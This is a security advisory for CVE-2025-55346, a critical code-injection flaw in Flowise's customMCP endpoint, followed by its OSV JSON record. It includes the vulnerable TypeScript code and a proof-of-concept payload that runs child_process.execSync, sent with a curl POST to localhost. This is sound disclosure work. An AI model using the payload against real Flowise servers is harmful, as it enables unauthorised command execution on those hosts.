GHSA-HMGH-466J-FX4C
Vulnerability from github – Published: 2025-10-06 14:08 – Updated: 2025-10-06 14:08Summary
User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.
Details
When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:
{
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}
Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):
{
...SNIP...
"inputs":{
"mcpServerConfig":{
"command":"npx",
"args":[
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/allowed/files"
]
}
},
"loadMethod":"listActions"
...SNIP...
}
Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:
{
"inputs":{
"mcpServerConfig":"test"
},
"loadMethod":"listActions"
}
We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103):
https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103
async getTools(nodeData: INodeData): Promise<Tool[]> {
const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string
if (!mcpServerConfig) {
throw new Error('MCP Server Config is required')
}
try {
let serverParams
if (typeof mcpServerConfig === 'object') {
serverParams = mcpServerConfig
} else if (typeof mcpServerConfig === 'string') {
const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
serverParams = JSON.parse(serverParamsString)
}
const toolkit = new MCPToolkit(serverParams, 'stdio')
await toolkit.initialize()
const tools = toolkit.tools ?? []
return tools as Tool[]
} catch (error) {
throw new Error(`Invalid MCP Server Config: ${error}`)
}
}
}
Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:
function convertToValidJSONString(inputString: string) {
try {
const jsObject = Function('return ' + inputString)()
return JSON.stringify(jsObject, null, 2)
} catch (error) {
console.error('Error converting to JSON:', error)
return ''
}
}
This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.
This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.
{
"inputs":{
"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
},
"loadMethod":"listActions"
}
PoC
-
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx,pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker -
Create a new file named
payload.jsonsomewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
- Send the following
curlrequest using thepayload.jsonfile created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
- Observe that a new file named
yofitofiis created under/tmpfolder.
Impact
Remote code execution
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.2.7-patch.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-55346"
],
"database_specific": {
"cwe_ids": [
"CWE-627",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-06T14:08:45Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nUser-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. \n\n### Details\nWhen creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:\n```json\n{\n\t\"command\": \"npx\",\n\t\"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}\n```\n\nBehind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):\n```json\n{\n...SNIP...\n\n \"inputs\":{\n \"mcpServerConfig\":{\n \"command\":\"npx\",\n \"args\":[\n \"-y\",\n \"@modelcontextprotocol/server-filesystem\",\n \"/path/to/allowed/files\"\n ]\n }\n },\n \"loadMethod\":\"listActions\"\n \n...SNIP...\n}\n```\n\nSending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example:\n```json\n{\n \"inputs\":{\n \"mcpServerConfig\":\"test\"\n },\n \"loadMethod\":\"listActions\"\n}\n```\n\nWe enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103):\nhttps://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103\n\n```typescript\nasync getTools(nodeData: INodeData): Promise\u003cTool[]\u003e {\n const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string\n\n if (!mcpServerConfig) {\n throw new Error(\u0027MCP Server Config is required\u0027)\n }\n\n try {\n let serverParams\n if (typeof mcpServerConfig === \u0027object\u0027) {\n serverParams = mcpServerConfig\n } else if (typeof mcpServerConfig === \u0027string\u0027) {\n const serverParamsString = convertToValidJSONString(mcpServerConfig) \u003c--\n serverParams = JSON.parse(serverParamsString)\n }\n\n const toolkit = new MCPToolkit(serverParams, \u0027stdio\u0027)\n await toolkit.initialize()\n\n const tools = toolkit.tools ?? []\n\n return tools as Tool[]\n } catch (error) {\n throw new Error(`Invalid MCP Server Config: ${error}`)\n }\n }\n}\n```\n\nHere, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:\n\n```typescript\nfunction convertToValidJSONString(inputString: string) {\n try {\n const jsObject = Function(\u0027return \u0027 + inputString)()\n return JSON.stringify(jsObject, null, 2)\n } catch (error) {\n console.error(\u0027Error converting to JSON:\u0027, error)\n return \u0027\u0027\n }\n}\n```\n\nThis JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.\n\nThis enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution.\n```json\n{\n \"inputs\":{\n \"mcpServerConfig\":\"(global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch /tmp/yofitofi\u0027))\"\n },\n \"loadMethod\":\"listActions\"\n}\n```\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":\"(global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch /tmp/yofitofi\u0027))\"},\n\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n### Impact\nRemote code execution\n\n## Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
"id": "GHSA-hmgh-466j-fx4c",
"modified": "2025-10-06T14:08:45Z",
"published": "2025-10-06T14:08:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hmgh-466j-fx4c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55346"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flowise vulnerable to RCE via Dynamic function constructor injection"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.